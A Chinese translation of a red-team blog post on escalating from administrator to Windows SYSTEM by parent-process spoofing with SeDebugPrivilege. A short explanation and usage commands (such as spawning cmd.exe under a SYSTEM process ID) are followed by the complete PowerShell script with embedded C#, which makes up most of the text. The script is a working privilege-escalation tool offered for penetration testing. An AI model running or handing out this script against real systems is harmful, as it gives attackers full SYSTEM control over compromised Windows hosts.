充当红队(红蓝对抗)或者渗透测试活动的时候,能努力获取系统的System权限总是咱们的终极目标。System用户是个特殊的系统操作用户,具备高权限,非常方便后渗透的技术施展。
当然,为获取System权限,你要么是administrators管理员组一员,要么使用一些特别的token窃取或伪造技术(例如:The lonely potato),要么通过一些未修补的漏洞利用等等姿势。
如果你有administrator 管理员权限,那么有一堆技术或者工具能帮你快速提权。最常用的估计就是来自Sysinternals出品大名鼎鼎的“psexec” , 当然也有其他的工具,譬如说基于命名管道或者令牌模拟的。我估摸着各位都用过meterpreter命令行下的“getsystem” 命令。
本文中我会告诉大家如何使用“父进程”技术。当然了,没啥新东西,我只是想通过简短精练的Powershell脚本就能实现一切功能。
先来灌输点理论知识:通常来说,当一个进程推出一个子进程,那么它本身就成为了子进程的父进程。然而从Windows Vista时代就可以通过技术手段去改变这个行为。如果我们创建一个新的进程,也设置为父进程属性,那么子进程将继承指定父进程的令牌。所以,如果我们创建一个新进程,把父进程的pid设置成具备System权限的进程,然后你懂的!
当然,为了能够从父进程句柄创建一个另外的进程,我们需要提示权限,通过采用管理员才有的seDebugPrivilege权限。当然得记住这个权限可用的条件是在已经提升特权的命令提示行下。使用下面命令验证一下:
PS>whoami /priv
上面讲完的理论知识,下面我们来结合Windows API实现我们的提权小目标。
首先我们需要在STARTUPINFO结构里创建一个属性,获取父System进程的句柄并且告知CreateProcess()去使用这些额外的信息。
使用C++或者C#应该相对简单,对powershell来说是个比较复杂的过程,所以我打算在我的my .ps1脚本里面嵌入C#。你知道的,可以从powershell里面执行C#代码。
脚本我已经开源到GitHub:https://github.com/decoder-it/psgetsystem (脚本已贴在文末)
在一个较高权限的Powershell命令行下执行:
PS> . .\psgetsys.ps1PS> [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
我们也可以在脚本末尾增加“auto invoke” :
Add-Type -TypeDefinition $mycode[MyProcess]::CreateProcessFromParent($args[0],$args[1])
然后来引用它:
.\psgetsys.ps1 808 c:\windows\system32\cmd.exe
最后但同样重要问题:如果SeDebugPrivilege并没有开启怎么办?
翻译者:安识科技小王子
翻译原文:《Getting SYSTEM》 https://decoder.cloud/2018/02/02/getting-system/
脚本:
#Simple powershell/C# to spawn a process under a different parent process
#usage: import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
$mycode = @"
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
public class MyProcess
{
[DllImport("kernel32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool CreateProcess(
string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags,
IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UpdateProcThreadAttribute(
IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue,
IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool InitializeProcThreadAttributeList(
IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool DeleteProcThreadAttributeList(IntPtr lpAttributeList);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
public static void CreateProcessFromParent(int ppid, string command)
{
const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
const uint CREATE_NEW_CONSOLE = 0x00000010;
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
var pi = new PROCESS_INFORMATION();
var si = new STARTUPINFOEX();
si.StartupInfo.cb = Marshal.SizeOf(si);
IntPtr lpValue = IntPtr.Zero;
try
{
var lpSize = IntPtr.Zero;
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
si.lpAttributeList = Marshal.AllocHGlobal(lpSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref lpSize);
var phandle = Process.GetProcessById(ppid).Handle;
lpValue = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValue, phandle);
UpdateProcThreadAttribute(
si.lpAttributeList,
0,
(IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
lpValue,
(IntPtr)IntPtr.Size,
IntPtr.Zero,
IntPtr.Zero);
var pattr = new SECURITY_ATTRIBUTES();
var tattr = new SECURITY_ATTRIBUTES();
pattr.nLength = Marshal.SizeOf(pattr);
tattr.nLength = Marshal.SizeOf(tattr);
Console.Write("Starting: " + command + "...");
var b= CreateProcess(command, null, ref pattr, ref tattr, false,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, IntPtr.Zero, null, ref si, out pi);
Console.WriteLine(b);
}
finally
{
if (si.lpAttributeList != IntPtr.Zero)
{
DeleteProcThreadAttributeList(si.lpAttributeList);
Marshal.FreeHGlobal(si.lpAttributeList);
}
Marshal.FreeHGlobal(lpValue);
if (pi.hProcess != IntPtr.Zero)
{
CloseHandle(pi.hProcess);
}
if (pi.hThread != IntPtr.Zero)
{
CloseHandle(pi.hThread);
}
}
}
}
"@
Add-Type -TypeDefinition $mycode
#Autoinvoke?
#MyProcess]::CreateProcessFromParent($args[0],$args[1])
Tags: PowerShell、SeDebugPrivilege、使用“父进程”技术、利用Powershell获取System权限、提权